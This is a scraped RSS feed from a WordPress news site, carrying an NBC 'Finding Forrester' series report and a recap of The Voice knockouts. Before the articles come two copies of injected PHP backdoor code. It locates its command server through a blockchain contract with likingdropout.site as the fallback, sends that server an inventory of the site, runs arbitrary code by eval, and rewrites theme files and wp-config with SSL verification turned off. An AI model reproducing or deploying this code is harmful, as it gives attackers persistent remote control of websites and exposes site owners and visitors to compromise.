// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Mentor – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 23 Nov 2020 19:50:09 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Mentor – Brief News https://briefnews.eu 32 32 NBC Eyes Finding Forrester Series, With a Major Mentor Change-Up https://briefnews.eu/nbc-eyes-finding-forrester-series-with-a-major-mentor-change-up/ https://briefnews.eu/nbc-eyes-finding-forrester-series-with-a-major-mentor-change-up/#respond Mon, 23 Nov 2020 19:50:09 +0000 https://briefnews.eu/nbc-eyes-finding-forrester-series-with-a-major-mentor-change-up/

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NBC is developing a series adaptation of the Gus Van Sant film Finding Forrester, with a couple of changes to the late Sean Connery‘s titular character.

The 2000 movie starred future Blindspot star Rob Brown as Jamal Wallace, a basketball player who, because he scored exceptionally high on a statewide standardized exam, is sent to a prestigious prep school in Manhattan. There, he eventually befriends reclusive writer William Forrester (played by Connery, who died in late October).

The prospective NBC series — which is being written by The Chi co-executive producers TJ Brady and Rasheed Newson — meanwhile “examines the cost of success and the price of redemption through the unique bond between two gifted Black writers: a homeless 16-year-old orphan who leverages his basketball skills to hustle his way into an ultra-competitive elite boarding school, and a reclusive lesbian author whose career was ruined by a public scandal.”

Brady and Newson will serve as EPs on the Sony Pictures/Unanimous Media production alongside director Tim Story, Stephen Curry, Sharla Sumpter Bridgett and Erick Peyton.

Our sister site Deadline first reported on the development.

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]]> https://briefnews.eu/nbc-eyes-finding-forrester-series-with-a-major-mentor-change-up/feed/ 0 The Voice Recap: Which Contestants Did ‘Mega Mentor’ Taylor Swift Guide to Victories in the First of the Knockouts? https://briefnews.eu/the-voice-recap-which-contestants-did-mega-mentor-taylor-swift-guide-to-victories-in-the-first-of-the-knockouts/ https://briefnews.eu/the-voice-recap-which-contestants-did-mega-mentor-taylor-swift-guide-to-victories-in-the-first-of-the-knockouts/#respond Tue, 29 Oct 2019 07:55:43 +0000 http://briefnews.eu/the-voice-recap-which-contestants-did-mega-mentor-taylor-swift-guide-to-victories-in-the-first-of-the-knockouts/

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Monday’s episode of The Voice brought to an end Season 17’s Battles (as well as four more acts’ hopes of advancing) and kicked off the much-missed Knockouts with Taylor Swift on board as Team Kelly Clarkson, Blake Shelton, John Legend and Gwen Stefani’s “mega mentor.” Of note — aside from my lingering irritation that Blake dumped the awesome Cory Jackson for the eh-some Zach Bridges — is the fact that the coaches have only one steal, as opposed to a steal and a save as in seasons past. Got all that? Then, as Carson Daly would say, the recap starts now.

The Last of the Battles

Team Gwen: Jake Haldenvang (Grade: C+) defeated Caroline Reilly (Grade: C-) on “Just Like a Pill” | Before Jake and Caroline began rehearsing, I assumed that the former had so much of an edge in their Battle that he could’ve been sponsored by Gillette. But 16-year-old Caroline seemed more comfortable with their Pink cover and impressed her coach with her emotional openness. It also didn’t sound promising for Jake that Gwen complimented him by saying that his high notes, er, “weren’t pitchy, really.” In the moment of truth, Caroline sounded a little flat — or maybe that was just what her performance left me: flat. Jake stood out more, thanks to his rasp and kinda a Steven Tyler Lite quality to his vocal. But overall, this was uninspired and uninspiring. I wouldn’t have cared if they both went home.

the-voice-recap-katie-kadan-max-boyle-knockoutsTeam Legend: Preston C. Howell (Grade: B+) defeated Mendeleyev (Grade: B-) on “Fire and Rain” | Yikes. This promised to be a rough Battle since I was as interested in seeing both of these guys stay as I was disinterested in seeing Jake or Caroline stick around (and only Blake still had a Steal). Props to John, though — his choice of this James Taylor classic seemed like a great compromise that would allow his team members’ styles to meet in the middle. In rehearsal, Preston sounded downright dreamy; Mendeleyev, a little too much like he was attacking a song that wanted to be caressed. On stage, Mendeleyev sang with great clarity and a hint of vulnerability. But this Battle just belonged to Preston. There was a sweetness to his vocal that was as irresistible as that piece of Halloween candy that you know is gonna push you over the brink into nausea, but you eat it, anyway. Mendeleyev shone again on his bigger, rockier notes, but still… this was Preston’s all the way. Bummer that they can’t sing together all the time — their harmonies were gorgeous.

Team Kelly: Hello Sunday (Grade: B-) defeated Lauren Hall (Grade: A-) on “Wrecking Ball” — Lauren stolen by Blake | Before her team members arrived for rehearsal, Kelly told advisor Normani that this was her “odd pairing.” But they sounded oddly good together. Hello Sunday had to work to get big and belty, but they were getting there during practice. Lauren needed no such coaching on bigness or belty-ness; it came as naturally to her as breathing, which made me think she was gonna take a, er, wrecking ball to the youngsters’ dreams of advancing. On stage, Hello Sunday started off sounding soft and pretty, which made their vocal pale in comparison to Lauren’s when she opened her mouth — her vocal was just. So. Commanding. The kids got good and bombastic on the chorus — and that howl they threw in there was wicked! — but it (wrongly!) seemed to me that there was just no beating Lauren. Her voice is massive, and she beyond-ably demonstrated that she knows how to wield it. The whippersnappers, on the other hand, wound up sounding a little desperate and off toward the end. They have great promise, it just isn’t a promise that’s 100-percent ready to be fulfilled.

And dispatched in a brief montage — all together now: argh! — Ricky Braddy defeated Jordan Chase to remain on Team Blake, and Calvin Lockett defeated Brennen Henson to remain on Team Gwen.

The First of the Knockouts

the voice recap katie kadan max boyle knockoutsTeam Blake: Cali Wilson singing “Wicked Game” (Grade: C) defeated Marina Chello singing “I (Who Have Nothing)” (Grade: A) | In rehearsal, Cali seemed to have chosen the freakin’ perfect song — she sounded like a million bucks on her Chris Isaak cover. Taylor only had one note for her: play more than one emotion over the course of the performance. Marina explained that she chose her Tom Jones cover because it was one of her singer father’s favorites. Cali had to been at least a little shook when Taylor had no vocal notes whatsoever for her opponent. Up first, Marina served total Shirley Bassey realness. Every time I thought her voice couldn’t possibly open up any wider or go any bigger, damn, if she didn’t prove me wrong. She was a force! Taking the mic after that hardest of acts to follow, Cali looked like she was coolly confident, but that cool confidence didn’t extend to her vocal. She sounded great on the choruses; however, throughout the rest of the song, it felt like she wasn’t always sure of what she was going for. (Maybe she’d been confused by the instruction to play more than one emotion?) John loved Cali’s performance regardless — he called it pitch-perfect. Obviously, Blake dug it, too. Couldn’t believe he let go of a belter like Marina. (First Cory Jackson, now this?!? What are you doing, Shelton?)

Team Kelly: Jake Hoot singing “Cover Me Up” (Grade: A-) defeated Melinda Rodriguez singing “Always Be My Baby” (Grade: C-) | After Jake tried out his number for Kelly and Taylor, La Swift suggested that he work at not swaying so much, lest that become the audience’s focus. Rehearsing second, Melinda tearfully revealed that her brother, whose body is covered with tattoos of Taylor’s album titles, was having the heart transplant he’d been waiting for. He just had to wake up after surgery, Melinda said, so that she could tell him about her day with Taylor. Once everyone recovered from Melinda’s emotional story, Taylor redirected the way that she was approaching the melody. Up first, Jake called to mind Red Marlow. The way he sang his story made you wanna lean in and listen closer. He also showed off pretty impressive range and, briefly, a rasp that could sand the paint off a wall. In short, he killed it. When Melinda took her turn in the spotlight, she ran afoul of enough pitch issues to get her benched in a baseball game. Overall, she has a sunny, pleasant voice, but this wasn’t a great showcase of it. John somehow thought that this so-so performance had been Mariah-caliber. (Somewhere, Mariah had to have been like, “Seriously?”) Anyway, if you were wondering, Melinda’s brother, we were informed in a cutaway, was recovering nicely. And no doubt enjoying some Taylor swag.

the-voice-recap-katie kadan max boyle-knockoutsTeam Legend: Katie Kadan singing “Piece of My Heart” (Grade: A) defeated Max Boyle singing “When the Party’s Over” (Grade: A) — Max stolen by Kelly | Oy! I was sure that this Knockout was going to devastate me, because I did not want to lose either Katie or Max. They’d been among my favorites since the Blinds. Pain. Ful. I hoped the coaches had those Steals ready, or I was likely to break my TV reaching through it to press their buttons for ’em! In rehearsal, Katie, as she will do, blew away Taylor with her “ballsy” performance. “You morph into a superhero on stage,” Taylor marveled. And, amazing as Katie was, she didn’t need any guidance, it seemed. Up next, Max was determined to meet the challenge head-on. He did so by pouring his broken heart into a rendition of Billie Eilish that was as raw as an open wound. When he was done, Taylor didn’t have as much advice for him as she did praise. On stage… well, crap. If there is a way that I could love Katie more, I dunno what it is. Her costume-y style is so outré, it borders on cartoonish; she almost challenges you to write her off as a caricature just so she can smack you the hell back in line with a voice that’s so monumental in its force and expressiveness, it could start landslides two states over. As Blake put it after she absolutely demolished her Janis Joplin cover, “Every time she comes out here, they have to repair the roof.” She is a star to the nth, maybe even to whatever comes after the nth. When Max took his turn behind the mic, Kelly described it thusly: She’d expected Katie to be Wonder Woman but hadn’t anticipated him being Superman, and he was. His emotional performance was less bombastic than Katie’s number but, honestly, no less impactful. His tone was gorgeous, his control on those high notes, stunning, and he sounded, arguably more than Katie, like an act you’d hear on the radio today. (I only wish we heard more Katies on the radio!)

So, who slayed their Battle in your opinion? And were any of the Knockouts actual… knockouts? Vote in the polls below, then hit the comments.


